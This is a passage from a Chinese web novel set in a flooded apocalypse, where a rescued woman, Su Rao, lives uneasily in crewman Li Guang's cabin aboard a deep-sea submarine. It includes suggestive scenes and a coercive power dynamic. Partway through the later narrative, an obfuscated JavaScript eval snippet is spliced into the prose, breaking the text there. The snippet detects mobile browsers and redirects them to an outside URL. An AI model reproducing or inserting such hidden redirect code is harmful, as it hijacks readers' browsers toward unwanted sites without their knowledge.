苏娆白皙的脸透着粉色,湿润的发丝咬住她泛着水光的脖颈,像是水渍没有擦干,又像刚出了一层薄汗。 让空荡荡的清透衬衣,整个包在她的身体上,勾勒出令人呼吸急促的曲线。 而在这件仅仅到她大腿根部的白色衬衣之下,竟然—— 视线下移,黎光看到了她又长又白的两条腿。 空无一物? 连外面都没有,那里面就更不会有了。 可耻的幻想接管了大脑, 刹那间,黎光感到浑身一阵难耐的燥热, 她,没有穿裤子。 4. 第 4 章 留在这里,留在这个男人身边。 她将面临的东西是什么? 苏娆不愿去想。 她只知道,当温热的水流从她的脖颈上滑过,荡涤掉她身上的污垢时,这些水流仿佛也洗清了她灵魂的污渍,让一切都不再重要。 要知道,在救赎号方舟上的时候,可没有这么滚烫,不限量供应的热水能给她好好洗澡。 入秋了还好,天气没有那么炎热,刚上船的那个酷暑难耐的夏天,煎熬宛如坐牢。 每天除了在固定时段,有半小时的热水供应,其余时间,船舱水龙头里流出来的纤细水珠,如下雨天房檐上垂落下来的丝状雨帘,半天也接不满一盆,等得人心烦意乱。 直到天气转凉,来自大陆北面海洋吹来的冷风,平衡了温度,身体新陈代谢的速度变得缓慢,再加上那个房间只有她一个人住了,她可以将每天半小时的热水独享,情况才有些许好转。 然而,也没有好太多。 二等座的船舱水龙头里流出来的水,无论是温热的还是冰冷的,全都带着淡淡的海水腥气,让干燥皮肤上皴裂的细小伤口,生疼。 在这种情况下,不洗澡是一种煎熬,洗澡更是。 但苏娆仍旧每天坚持用这样的水洗澡,只是,她从未觉得自己有一天,被洗得干净过。 就像死在海滩边的那些渐渐在日光下腐朽的臭鱼烂虾,始终弥漫着一股挥之不去的海水腥味,有时候,一个人待着的时间久了,她会恍惚地觉得自己会不会其实是一条鱿鱼? 螃蟹也行,它们都很好吃。 而现在……她在光洁舒适的白瓷浴缸里。 也许是亚当号的海水净化系统更加高级,抑或是专门供给黎光房间的管道水,经过了特殊的处理,过滤后的干净淡水被烧开,从头顶的花洒落到她身上,甘甜清冽地如同山间温泉,那一刻,她觉得好像到了天堂。 她甚至还用了浴缸旁的沐浴露,将自己洗得香喷喷的,心情也随之明媚起来。 谁能想到,末世之前的日常,能让她在回想起来时,激动到泪流满面。 因为洗澡,本就是一件能够令人放松身心,心情愉悦的事情啊。 只是……洗完澡之后呢? 一想到这里,就好像有一只无形的手,攥住了她的心脏,将她整个人往浴缸底部拖拽。 苏娆再也高兴不起来了。 她把自己洗得那么干净,竟然是为了更好地去被弄脏? 被一个只见过一面的男人,等同于她完全不了解的陌生人……吃光。 赤足行走在冰冷的瓷砖上,苏娆心底突然涌现出一股难以排解的疯狂。 那是压抑了太久的情绪,无法得到宣泄的痛苦折磨。 即便,她从未表露在脸上。 被救上亚当号深海潜艇后,装傻充愣,她得到了庇护,得到了食物和生存所必备的所有资料。 作为交换,她不能离开这个男人的房间,并且,得听话。 所以她去洗澡了,如他所说,乖乖的,将自己清洗干净。 从严格意义上来说,她不算和这个男人有过接触,在她和他有接触之前,她就把他炒掉了。 不过,在经过一天左右的接触,她已经发现了他的脾气不太好。 ——相当差。 至少在现在的苏娆眼里,黎光已然变成了一个她完全惹不起的人,而不是她靠撒娇卖萌就能任意掌控的对象,他会将她按在墙上,捏住她的嘴,愤怒地质问她,有什么资格和他顶撞。 是啊,没有。她是他救回来的女人,她,本就属于他。 假如她还想活下去的话…… 站在洗手池前,看着镜中的自己,她除了腰比末世刚开始的时候要瘦了那么一点点,其他地方,几乎可以被称之完美的存在。 散发着成熟女性风韵的躯体,拥有最原始的吸引力,如同一张蛛网,让所有想要一探究竟的猎物沉沦。 一旦靠近,他们就会被粘在网上。 一如,当年那个盛夏。 黎光被粘住了,再一次。 看到刚洗完澡的苏娆,扑鼻而来一股沐浴露混合女人体香的神秘味道的苏娆,她出现在他眼前,让他的视线根本没有办法从她身上转移。 而这一次,她亦再也无法从异性的视线中,抽离自己。 “你……” 黎光下意识想说什么,可被美色掀昏了头的脑子一片空白,只有繁衍繁衍。 不过,也足足愣了有五秒,在能看的,不该看的全都看过了之后。 他转过身去,像是在遮掩什么,苏娆听见他在问, “怎么就这么出来了?” 于是苏娆低头看了一眼,那件来自他的,穿在她身上很大的衬衣,松松垮垮,扣子却认认真真一丝不苟地扣到了最上面的那一颗……领口很大,挡不住稍不留神就会乍泄的春光,让好奇探看的视线,跌落深渊。 但也不能否认,这件衣服,被她穿得很好。 所以黎光的意思是,她为什么只穿了上衣? 他问得很奇怪,不是么? 当苏娆在洗手池的柜子上,将黎光递给她的换洗衣物展开时—— 因为他给她的,就只有一件上衣。 他想她就这么出来,下半身什么都不穿。 这样会比较方便吧,苏娆有些自暴自弃地想。 “怎么了?”声音柔柔的,和她刚被雾气浸泡的肌肤一样香软。 她不敢再反问了。 “没什么。” 深吸一口气,黎光又活了过来。 不看她的时候,状态要好些。 屏住呼吸的他,差点没被自己憋死。 啊,人原来是要喘气的啊?差点忘了。 “跟我来。” 说着,他示意苏娆跟着他。 一路跟着,从卫生间到了卧室。 在她醒来的那张床前停下。 他把她带到了床上。 接着,他也上了床。 但他和苏娆并不在一张床,甚至不在一个平面。 坐在床上,愣愣地望着趴在地上正用手抚平他刚刚铺下的被褥褶皱的黎光…… 显而易见,他不和她一起睡。 卧室的灯关了,世界陷入一片漆黑。 亚当号上的房间配备的窗帘,将外面的景象阻隔在外,以此减轻可能带来的幽闭环境的恐慌感。 而漆黑的环境有助于睡眠,在不分昼夜阳光被吞噬,始终一片蔚蓝的无光海水中,人为制造的光源就是维持身体生物钟稳定的最好方式。 该睡觉了。 这艘潜艇始终行驶得很平稳,让人感觉就像在陆地上。 耳边只有调节温度的中央空调发出的机械运作声,呼呼作响。 躺在原本是黎光睡觉的床上,苏娆的内心久久不能平静。 他将她救上来之后,没有帮她换衣服,于是她浑身下雨一般的水痕,将他的床垫弄得一塌糊涂。 不过,在她洗澡的时候,他已经帮她全部换过一遍,现在盖在她身上的被子,她压着的床单和枕头,都是散发着淡淡花香清洗干净的用品。 他让她睡他的床,他自己…… 黎光睡在床边,甚至可以说,就睡在她的脚下。 这种与他们如今的身份地位那样不匹配的割裂现实,也割裂了苏娆的认知。 除了惊讶和迷茫,她心底一直没有消失的恐慌,反而变得愈发强烈。 就像她早就有了心理预期,一件她不愿意去做,却又不得不做的事不仅不用做了,恰恰相反,她可以得到所有好处,却不用为此付出任何代价。 天上掉下了又一个馅饼? 她怎么就不相信呢。 黎光在浴室门开的一瞬间,视线逐渐下移到她裸.露的大腿上时,眼底那种令人不寒而栗的原始欲.望,她无法视若罔闻。 那个时候,她几乎已经说服了自己去接受,接下来他可能对她提出的一切要求。 与其徒劳地反抗,不如坦然面对。 可他在看了那一眼之后,马上又背过身去,接下来发生的事,又将他那一眼,变成了只是看一眼而已。 他让她喧宾夺主鸠占鹊巢。 为什么?他为什么要这么做? 苏娆忍不住侧过头看向躺在地上的黎光。 通过眼睛在适应黑暗后,得到的零星辨认视觉,她看见黎光仰面朝上,双目闭着,盖到他胸口处的薄被在他平稳的呼吸动作下,轻微上下起伏,穿着那件长袖单衣的手,随意放下,整个人呈现一种对外界不加设防的松弛。 睡着了。 可以说,白天的工作和刚才那个临时任务,为了加速完成,真是把他累坏了,而醒着的时候进行一定的体力劳动,也会在夜晚让人更快地进入梦乡。 但相较于黎光的放松,苏娆内心的忐忑和不安,始终将她架在截然不同的两端的横梁上,左右摇摆。 一边是她就是这么幸运,不用怀疑,好好地享受她衣来伸手饭来张口的人生吧,这个和她有仇的旧相识善心大发,让她到了天堂。 另一边则是—— 被子拉到下巴处,完全缩在里面,苏娆将身体蜷曲起来,就像一只被蒸汽烫熟的虾。 黎光之所以不碰她,是有什么其他更可怕的打算吗? 毕竟…… [“或许,你是否想去见见船长?”] 救赎方舟医院的配药员揶揄掺杂着不怀好意笑容的暗示,如同一条毒蛇,爬上她的背脊。 回忆,泛着血色。 她是可拥有物,亦是物品交换的其中一个。 她很值钱,能交换很多东西,很好很好的东西。 芝士焗大虾,虾仁芦笋……法式蜗牛,上面还撒了西芹碎,一桌子的美味佳肴出现在眼前,这是宛如梦里才会有的景象。 在方舟上生活的日子里,苏娆不止一次做过这样的梦,不过梦醒之后,除了强烈的胃绞痛折磨之外,就是一眼和望不到尽头的蓝色海水一样,永无止境的罐头汤。 所以,当她在餐桌上看到这些热气腾腾,引人垂涎的食物时,太多次上当受骗美梦破碎的失落感,迫使她用力掐了一下自己。 疼痛,由指甲在手臂上留下的印痕,蔓延开来。 也让她确定了她现在所处的地方,是真实存在的。 她,到了天堂。 那天晚上,当苏娆保持着十二万分警惕,在昏昏沉沉半梦半醒的惊恐中体力不支,沉沉睡去后,极度疲劳的大脑让她的记忆断片。 花了好长时间才接受她已经逃离了那艘起了暴动的混乱方舟,此时正身处一艘深海潜艇之上。 脚边的床铺已经收掉了,而几乎就在一瞬间,苏娆看向了自己。 所幸,她睡觉穿着的那件衬衫纽扣完好,身上也没有其他异常不适感,她平安无恙地度过了来到亚当号的第一个夜晚。 然后是第二个……第三个…… 每当她醒来的时候,黎光都已经离开,房间外的餐厅桌子上雷打不动放着堪比米其林五星级餐厅的美食。 那天黎光只给她的那件换洗上衣,配套的裤子就掉在衣柜旁的地毯上。 苏娆忽然有点明白了,他不是刻意不给她穿裤子,而是漏拿了。 就这样,黎光早出晚归,他似乎很忙,将这个应有尽有的位于潜艇上的房间一天之内的大部分时间,完全留给了苏娆,这在极大的程度上缓解了她的精神压力和焦虑。 本性使然,人在安逸的环境中待得久了,就会变得理所应当。 窗外银亮的鱼群,像林子里蜂群,变幻着各种形态,躲避掠食者的攻击。 突然,从中间被生生分成两段,远处一个硕大的影子直直地朝着窗户的方向冲过来,吓得苏娆立刻拉上了窗帘。 这大概是她逐渐平静的生活里,最刺激的事了。 海洋中的庞然大物在更加庞大的深海潜艇面前,渺小得像一只依附在鲸鱼身边食腐的小鱼。 鲨鱼的冲撞并不能对潜艇造成一点伤害,反而是亚当号船员平素为数不多的消遣之一。 看来,又有好奇的小东西盯上了他们。 不自量力。 -船员活动室- 站在窗前,一名船员正在观察外面的情况。 潜艇周围聚集的鲨鱼数量越来越多。 作为海域监测的勘探专员,关于潜艇可能存在的安全隐患的稽查都由他负责。 但是按照他的经验,目前的规模还不足以到拉响警报的程度。 而此时就在他的身后,和他的认真专注相比,其他人完全没把潜艇外鲨鱼群的骚扰当成一回事。 房间正中心顶部吊灯,打下昏黄的灯光,烟雾缭绕的台球桌旁,几名同样身穿亚当号船员服,身材高大的男人正在进行今晚的娱乐活动。 只不过,他们的制服穿得不太像样,那个一头红发嘴里叼着烟,俯身瞄准击球的家伙,上衣直接不翼而飞。 胳膊和胸口露出的大块古铜色肌肉,就像素描写生课本上画得那样权威。 其他不被看到的衣服虽然穿得好好的船员,衣服下面包裹着的肌肉,也同样健硕。 亚当号深海潜艇上的船员高大强壮,人均一米九,八块腹肌。在进入潜艇之前,终日的海上生活磨炼出了他们钢铁一般的身体与意志,这是在大海之上的原始世界,残酷自然里生存的必要条件,即便驾驶着配备最顶尖科技的现代航船,那种与狂风巨浪抗衡的力量也已经刻进了他们的骨血。 值得一提的是,最艰难的那段日子里,这群人还跟着船长去黑令海峡的冰海里捕过一段时间蟹,那可真是自退役以来,最让他们觉得有意思的一件事了。 至于为什么后来没再去了? ——发财了。 这艘能够自给自足的元动力潜艇,拥有取之不尽用之不竭的能量,建造之初,就将几乎所有生活必备的项目规划了进去,植物培育、有机农场、工业制造……甚至还有一间小型的药物合成实验室。 虽然不能进行规模化生产,但供给潜艇上的船员,完全不成问题。 与世隔绝,亚当号基本不与外人联络,也就更不可能会接触到幸存者身上携带的新型异变传染病毒。 世人压根不知道除了末日方舟之外,还有这么一艘在海平面下穿行的潜艇。 在洪水末世里,一个如同世外桃源般的庇护所。 现在是船员的休息时间。 活动室里,飞镖轮盘、桌游和各种棋牌,这些可供打发时间,促进兄弟之间感情的东西,让现在的黎光丝毫提不起兴趣。 事实上,从进来的那一刻,他就想走了。 “黎光哥??” 一直坐在沙发上闭目养神捏着自己山根的男人站了起来,动静不大,却马上引起了注意。 不仅是打台球的那几位不好好穿衣服的船员,就连一直在观察尾随他们的鲨鱼的勘探员都看了过来。 活动室的门,在背后关上了。 “回去了吗?”迷弟震惊。 刚才看着就是想走的样子,结果还真走了? 最近黎光缺席团队活动的次数,好像变多了。 而大家之所以会惊讶,毕竟黎光这家伙,以前可是玩得最疯,也最凶的那一个。 只是,在这个节骨眼上,仔细想想也正常。 前不久大副凯杰西因为一场意外丧生,继任人选中,就属黎光的风头最大。 所以,在有心人眼里,黎光的行为,无疑是试图与他们的“玩物丧志”进行切割的举措。 保不齐背地里在搞什么不可告人的名堂。 不会又去藏书馆读书,在船长那里刷好感了吧? 红发男的身边,染了奶奶灰的另一个男人神情十分不屑, “装货。” - [有朋友就会有敌人。] [而最终到底会成为朋友还是敌人,完全由利益驱动。] [“……你想知道黑胡子的宝藏埋在哪里吗?”] 因为黎光不让她离开他的房间,所以在平时不睡觉的时候,苏娆总会给自己找点事做。 她经常坐在客厅的地毯上,玩电视机投屏的游戏机。 有时也会趴在房间的玻璃窗前,观察外面的世界,根据鱼群的变化和海水的颜色来判断目前潜艇所处的深度。 但她最喜欢做的事,当然还是待在黎光的书房里看书了。 刚好,最近正在看的那本探险小说到了高.潮部分,她聚精会神。 整个房间里只剩下哗啦哗啦翻动书页的声音,连背后不断向她走来的脚步都没有注意。 直到—— “你怎么会在这里?!” 黎光突然出现在了书房的门口,看着正坐在他的书桌前看书的苏娆,他的神情十分惊愕。 似乎苏娆到这个地方来,是一件极其令人难以置信的事。 这里的主人回来了。 好像比平时早了那么一点,其实也没有,是她今天在黎光书房逗留的时间,久了些。 不然现在这个时间点,她多半会待在客厅的沙发上小憩。 黎光的脸色有点难看,苏娆本能地站起身来。 “谁让你进来的?” 没等苏娆对黎光做出她为什么会进这个房间的回应,他的第二发质问就来了。 同时,目光也从苏娆手中的书,转移到了书桌的某个抽屉上。 抽屉没有上锁。 “你出去!” 回想起来,那个时候黎光的脸,比乌贼喷出的墨还黑。 这也无疑让苏娆几天里好不容易累计下来的安全感和幸福感,在顷刻间荡然无存。 将书房的门关上,黎光就差在门上贴张纸条,闲杂人等禁止入内。 虽然黎光最后没有那么做,但受到质问的苏娆也绝对不可能再来这个主人不允许她进来的房间了。 那几句话将这里划为了禁地,也在对她进行着冰冷的提醒。 她只是一个寄生虫,不属于这里。 “我做错什么了吗?” 忍了好久,苏娆还是没能忍住。 面对苏娆委屈巴巴的眼神,黎光眉头紧锁,分明想说些什么,但就在这时,戴在手上的金属手环却突然响了起来。 【滴滴!滴滴!】 一则简讯在屏幕上流动,前缀是三个红色的感叹号,意思是特别紧急。 黎光:“……”要加夜班了。 船上的富足生活,亦要通过严谨的工作和船员的使命来守护。 十分钟前—— 大概就在黎光前脚走的时候,后脚船长秘书会的人就去活动室找人了。 “咳咳!咳咳!” 一进门,门里铺天盖地青烟争先恐后地朝外涌,呛得为首那个着装体面,头发梳的一丝不苟的斯文男人不停咳嗽。 出神仙了? “谁***在抽烟?!” 面容一瞬扭曲,纪律委员对着门里大吼。 几个眼疾手快的,当时就把烟给掐了。 潜艇上百分之九十的地方都是禁烟区,只有在他们自己的住处,有时才会网开一面,睁一只眼闭一只眼。 但在活动室这样的公共场所,就是绝对的明令禁止吸烟。 结果都抽成这样了,抽到快要把潜艇给点了,直到秘书会接到船长的紧急命令,亲自来喊人时才被发现!! 怎会如此? 烟雾报警器是干什么吃的? 真相几步之遥,就在天花板吊顶上,原先早就该报警的烟雾报警器,弯弯绕绕的肠子都被扯出来了,拉耸着脑袋,一副死去多时的模样。 原来是这样。 暗橘色的源头,像灭掉的灯,一个接着一个消失。 只有那个红头发手中的光点,跳得异常欢快。 甚至在近前,他直接吐了纪律委员一口烟圈,熏得他整张脸上的五官都在颤抖。 “霍寂,你真别……”眼睛被刺到睁不开,明显气得不轻,纪律委员连说话都不太利索了, “别太嚣张了你!” “哦抱歉。”到了这时,霍寂才像刚意识到自己原来在不该抽烟的地方抽烟了似的,顺手将烟丢到了地上。 “……” “……” 在场人的脸,也随着他的动作,跟着纪律委员一起变成菜色。 足足有辞海那么厚的《亚当号船员准则》,也像海边的沙碉,一个浪打过来,就没了。 毋庸置疑,哪天要是潜艇炸了,绝对有这家伙的一半功劳。 不过,碍于霍寂的“淫.威”,大家全都不敢怒,也不敢言。 而敢怒的人,船长的副手们,早就等在作战指挥会议室了。 短暂对视了一眼,刚刚分别的人,居然又见面了。 不是很想见。 黎光看他的神情,满眼都是嫌弃。 真臭。 只不过,同事、尤其是同级的嫌弃,对霍寂造成不了一点伤害,但某些人的一句话—— “怎么没把你烧死?” 人都到齐后,江厌一进来就被“绑架”了,他不可思议地盯着船员里一眼就能锁定的扎眼红毛。 这是人上长了个烟,还是烟上长了个人? 言已至此, “老大,那我现在回去换件衣服?” 潜艇上的唯一真神都发话了,霍寂嬉皮笑脸着光速滑跪。 “算了。” 江厌示意手下把门关上。 时间紧迫,没人有空等他沐浴更衣。 三个红色感叹号的紧急任务,至少开会到天亮。 而此时坐在主位右手边侧方第一个位置上的黎光,已然走神。 如预料中的那样,他今晚,的确回不去了。 - 黎光让她自己睡。 苏娆还坐在沙发上,回想着刚才发生的事。 黎光没有和她说,不允许她去书房,正如他当时没有禁止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144315|196360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她从他的房间里出去一样,他什么都不跟她说,只在她做错的时候,对她发火! 这男人好可怕。 可在她搞清楚,到底是她去他房间里的行为激怒了他,还是她看了他那些宝贝书惹他生气之前……黎光就走了,不给她这个机会。 苏娆有些愤懑地想,要是能给她制定一份《寄生虫行为准则》就好了,明确告诉她什么可以做,什么不该做,那她一定会乖乖遵守,绝不出错! 否则,她也不会为这种随时都会来的如同随机性的错误惩罚,变得担惊受怕,她就怕什么时候一个不小心,又把黎光惹生气了,然后把她丢掉。 苏娆的情绪始终无法冷静下来,但精神的极度内耗让她感到一阵困意。 多想无益,还是先睡觉吧。 洗完澡将头发吹干,苏娆关掉灯,躺到床上。 大概是因为身边没有男人的呼吸和潜在的威胁,这次她很快就睡着了。 夜深人静,温度控制系统的指示灯闪烁了几下,开始了清扫的换气循环,每当发现潜艇内部的空气受到污染时,这种流程就会自动启动。 在换气结束后,系统会自动关闭,需要手动再次打开。 已经进入梦乡的苏娆却对此一无所知。 她只觉得她乘坐的船只,一路向着天边航行,直至抵达世界的尽头,蓝星的极点。 这里积雪终年不化,气温低至零下,水面上漂浮着大块的坚冰,船只每前进一步,都像在万年冻土中开路。 直到船完全被冻在冰面上,变成了茫茫冰海的一粒砂,冰寒凛冽的风,透过木船墙壁的缝隙,不停往她的骨头缝里钻。 苏娆从梦中惊醒了。 暖气停止供应后,房间里的温度骤降。 平时盖在身上就能让她舒适入睡的被子厚度,在如今的室温下,轻飘飘的如同落在她身上的一片羽毛。 空调被关掉了吗? 周围安静地可怕,苏娆仔细去听,果然发现,那个时间长了就容易被忽略的暖风声真的消失了。 所以她才会那么冷。 她知道调控系统的面板在哪里,因为她看见过黎光调试温度。 但当她想要尝试再次打开温度调节系统时,耳边却冷不丁响起黎光的声音。 “别乱动这里的东西。” 眼神冰冷,言辞生硬,临走时,他特别强调了这一点。 试探性迈出步子,像触电那样猛地缩了回来。 人一旦处于不舒服的状态时,心态也会随之变得悲观。 苏娆甚至开始怀疑,空调不会是坏掉了吧? 脑海里不自觉浮现黎光皱起的眉头和用他声线模拟出来的教训—— [“你怎么这么麻烦!”] 不是她干的啊,她什么都没碰! 不敢再起主动调试温度系统的念头,草木皆兵,苏娆只能更加紧密地用被子裹住自己,以抵御失去暖气供应,身体的战栗。 然而,被寒冷削弱的免疫力直线下降,对自身处境的恐惧心理压力又进一步摧毁了她的身体防线。 冷。 好冷啊…… 苏娆在被子里瑟瑟发抖。 — 此时距离黎光拖着疲累的身躯回到住所,已经过去了一天一夜。 打开门时,黎光的第一反应是房间里的温度有点低,只是,这些都抵不过长时间没有进行休息的疲惫。 而疲惫也仅维持了一秒,瞬间就被通过自动管道送到房间接收处,连包装都没有拆的“外卖”,弄得烟消云散。 像这种他超过了一整天都不回来,无法及时为苏娆提供食物的情况以前从未发生,这也使得去机械部领一只勤劳的他原先觉得自己并不需要的家居机器人的计划,在他这里排上日程。 可他为苏娆特意点的还来不及摆出来的食物,就这么原封不动地放在原处…… 心中一股不祥的预感促使他连门都来不及关,迅速找遍了整个家。 等到看到他心心念念的那个完全缩在被子里,只露出一个脑袋的娇小身影背对着门的方向,正安安静静地躺在床上时,黎光悬到嗓子眼的心,才重新落了回去。 紧接着,他不禁为自己的慌乱而感到可笑。 他在担心什么? 上次他那么凶地对她,她应该吸取了教训,不敢再贸然出门了。 一直在睡觉,大概是没发现放脏盘子的通道旁边还有一个投递口吧? 就这样饿了一天一夜,什么也没吃吗? “苏娆?” 黎光喊了她一声。 没有回应。 于是,决定不打扰她睡觉,等她自然睡醒,黎光用手环向厨房下了一份新的订单,然后把坏掉的食物放进了垃圾粉碎机。 无需手动,船员房间配备的垃圾粉碎机在压缩容量满了之后,会自动进行清扫。 潜艇上使用的包装纸都是可再生的环保材料,能进行回收循环,而食物残渣等有机物则会进行分解催化,变成农作物种植园和养殖场的肥料。 做完这一切,黎光就去洗澡了。 洗完澡路过卧室,里面依旧一点动静都没有。 苏娆还在睡觉。 直到这一刻,黎光终于意识到了不对劲。 将苏娆翻过身,手在接触到她胳膊的时候,隔着衣服,他的手指都感受到了那股灼热逼人的温度。 平躺在床上,苏娆的睫毛微微颤动,额头烫到能煮鸡蛋。 脸颊浮上诡异的绯云,像抹了厚厚的胭脂,嘴唇更是红到像蔫掉的玫瑰花。 世间不坚固的好物,美丽却易碎。 她生病了。 - 起初是一阵刺骨的寒意不断袭来,身体只能通过不断颤抖产生热量。 薄薄的被子将颤抖生成的些许温度裹在里面,勉强维持了苏娆的核心体温。 可她却因着凉和压力引发的免疫力下降而感冒发烧。 潜艇的空气系统虽然会定期杀菌消毒,但不代表这里是一个完全无菌的环境,因为无菌的高标准要求不仅会产生不必要的资源浪费,更不利于船员的身体健康。 恰恰相反,偶尔的小病小伤,也能从一定程度上,激活免疫系统的敏感度,让他们变得更强壮。 只不过,生病了最好还是去看医生,及时吃药。 -潜艇医务站- 今天当班的人是秦逸。 在亚当号潜艇炫酷的黑色制服外面套了一件白大褂,人模人样。再加上他斯文清冷的气质和金丝边眼镜,活脱脱的就是偶像剧里的禁欲医生走进现实。 开口的第一句话也很现实呢。 “哪里不好?” 秦逸头都没抬。 闷闷的声音从前方传来—— “浑身发烫,脑袋昏沉……” 病人做出了病情描述。 听完,秦逸就掏出了他的枪,朝着一个洞口里捅。 (好像也没那么禁欲。) 但是没捅到,被病人侧身闪过了! “你躲什么?” 看着眼前这个身手敏捷,中气十足的病人, 秦逸惊讶又无语:“量体温。” 低头瞥了一眼秦逸的枪, 那是耳温枪啦!! 不躲他不就穿帮了? 量体温? 黎光:“有这个必要?” 秦逸:“?” 黎光:“。” 硬着头皮,“是昨天供暖中断睡觉冷到了,我要AMXL-02,还有……” 秦逸:“……”还挺专业,又一个带着答案来的。 感冒发烧在亚当号上不是什么罕见的疾病,很容易判断。既然这家伙有自己的想法,秦逸也懒得和他多说,某些有医院恐惧症的船员平时能不来这里就不来这里,他们也会一次性囤一些常用药品。 转身在常用药品的系统上调取一盒库存,秦逸问, “你确定不需要用医疗舱?” 医、疗、舱!?听到这三个字,黎光瞳孔地震。医务站最近很缺钱吗?感冒发烧都开始推荐医疗舱了? 只是,作为一个勤俭(抠)持家(门)的好男人,他习惯性拒绝一切不必要的诱惑,对于他自己来说。 像这种躺进去半个小时就能让身体恢复的速度加快数倍的顶级医疗服务,虽然贵有贵的道理,可问题的关键是,他根本就没有办法把真正生病的人带过来医治。 最终,理智战胜了一切。 “不用。”黎光拒绝了。 比起好得快一些,自然还是人身安全更重要。 在用id卡支付了250枚鱼骨头后,黎光拿到了他要的退烧药和抗生素。 而绑定在每个船员id卡里的“鱼骨头”是亚当号潜艇上的通用货币的普遍叫法,因为该货币在系统里显示的图标看起来很像鱼骨头,所以因此得名,但潜艇程序的ui设计师坚称那是冰霜海龙,并强烈抗议,要求船员们将对货币的称呼改回官方叫法:海龙币。 然并卵,无人鸟他。 海你****。 拿到了药,黎光着急回去。 “等一下。” 秦逸叫住了他。 在黎光疑惑不解的目光中,手里是一个避光的玻璃瓶,里面东倒西歪十几颗黑红色的胶囊,秦逸扬了扬玻璃瓶。 “有兴趣试试新药吗?” 眼镜镜片反光,让人看不清他的表情,只听到他的声音。 “报酬丰厚。” - 鉴于试药是个高风险的工作,潜艇上的人本来也不多,所以一般都得选身体好的特殊船员来参与,也不知道秦逸是怎么知道他身体不错的?而且,他可从来没填过这方面的意向问卷,也没参加过试药员的体检…… 等到回过神时,黎光发现一双盈着水雾的大眼睛,正迷茫地望着他。 “醒了?” 黎光等好久了。 说着,他用手将苏娆从床上扶起。 胳膊在后面支撑着她的背,手掌揽着她的腰。 突如其来的肢体接触,把苏娆吓了一跳。 一股热气和黎光身上淡淡的味道扑面而来,男人宽阔的胸膛就在她的脸颊边上,她稍微动一下脑袋,就会贴上。 她被黎光抱在怀里了。 苏娆脑袋懵懵的,他抱了自己……? 烧得迷迷糊糊,苏娆对目前的情况,失去了基本的判断能力。 就在这时,黎光的另一只手掌在她面前摊开,掌心静静躺着一枚白色的药片。 “吃药。” 他对她说。 于是,就像一具牵线木偶,苏娆听话地低下了头。 在她温软的嘴唇触碰到黎光手心皮肤的一刹那,如同小猫卷着舌头,带来的微微潮湿的异样酥麻感,通过皮肤的感官,触电般游过全身。 这女人…… “!!” 黎光当场浑身都硬了。 她怎么直接从他的手里吃药啊? 5. 第 5 章 苏娆的头微微低着,烧红的脸蛋已经完全埋在了自己的手掌之中。 现在,不用他捂住她的嘴,她已经以这个姿势自投罗网。 除了掌心因她的嘴唇触碰而产生触电一般的酥麻,她精致小巧的鼻子,以及脸颊和掌心皮肤摩擦产生的异样触觉,同样在撩拨黎光本就岌岌可危的敏感神经,让人自心底涌起一股难耐的燥热瘙痒。 苏娆呼吸的热气直接在他封闭的掌心液化,柔软的嘴唇轻轻上下开合,想要锁定那颗药的位置。 然而,不知道是由于紧张还是烧得太厉害,头晕脑胀无法对焦,她一直没能成功将它吃到嘴里。 “!!”她到底在干什么啊?到处乱撞。 “……”但,他好像并不讨厌? 看着自己手心里有点笨呼呼的苏娆,黎光从未在如此矛盾的两种境地中纠结。 一方面,他很想帮她一把,只要他的手稍微朝着她嘴巴的方向一松,她就能吃到;另一方面,他又意外地很享受这种类似于用手喂猫的奇妙体验,苏娆沾了唾液的嘴唇让他的掌心凉凉的……而她每一次尝试无异于用嘴唇亲吻他的手掌。 黎光开始不想让她吃到了,甚至,他希望她能为了吃到这颗药,作出更多的尝试。 比如:用上她的舌头,舔他的手,像一只真正的小猫。 可惜,喂药的游戏终究要结束。 突然,黎光手中一空,苏娆抬起头,嘴唇动了动,黎光的手心只留下一丝女人的香气,那颗药到了苏娆的舌尖。 此情此景,黎光顿时就像心事被暴露在阳光下,为了掩盖自己的心虚,他马上去拿放在一边桌上,他早就为她准备好的水。 只是,等到他将水递给苏娆时,苏娆做了一个用力吞咽的动作。 生吞啊? 总之,她不需要水了。 望着正站在自己床前盯着自己看的黎光,苏娆小心翼翼地问, “这是什么药?” 咽下去才问。 黎光:“……” 还在为那场喂药游戏的戛然而止感到意犹未尽,就不能再多和他玩一会儿吗? 即便他把手掌放到她面前,本意是让她自己把药拿起来吃啊! 大概是苏娆认真询问的表情令黎光感到冒犯,又或许是她这副看起来有些可怜的模样更激起了他的欺负欲,未被满足的欲望,总要用其他方式发泄出来的。 “你不知道这是什么药就吃?” 黎光双手抱臂,在苏娆面前居高临下,他冷冷挑眉, “春.药。” ………… 此言一出,刹那间,世界安静了。 苏娆木愣愣的看着他,忽然,她将手按在自己的心口上。 通过这个动作,黎光不难看出,她其实是想把那颗药呕出来,不过出于某种原因,没有那么光明正大地去抠自己的喉咙。 而那个阻止她这么做的原因,自然是他。 他就站在她面前,一动不动地盯着她。 慢慢的,苏娆木讷的眼神变得有温度,伴随着因情绪激动而不断升高的体温,如同烧开了的热水,眼眶红到像只兔子。 哪怕她压根就不相信黎光会给她吃春.药,却也被身体里一道道翻滚的热浪,弄得加倍惶恐。 万一呢……? 在这个秩序崩坏,人心险恶的末世,有什么事情不会发生?任何事情都会发生。 她好像感觉更热了? 苏娆被吓坏了,泪水溢满了眼眶,长久以来一直压在心底的委屈,也在一瞬间聚集,情绪的洪流轰然决堤。 啪嗒啪嗒,下雨似的,晶莹的泪珠不断从她的脸颊上滚落。 哭了。 就哭了? 黎光瞬间懵了。 他也没料到,他一句开玩笑的话,竟然会直接把苏娆弄哭。 毕竟在他眼里,她的承受能力,没有他想象中那么弱。 “喂!你别——” 说着,黎光又在床边坐了下去,他想安慰一下苏娆。 结果,此刻他的靠近,更像是坐实了那颗春.药的事实,苏娆受到了成吨的惊吓,她用手撑着自己的身体不断后退,直到后背贴上了冰冷的金属墙壁。 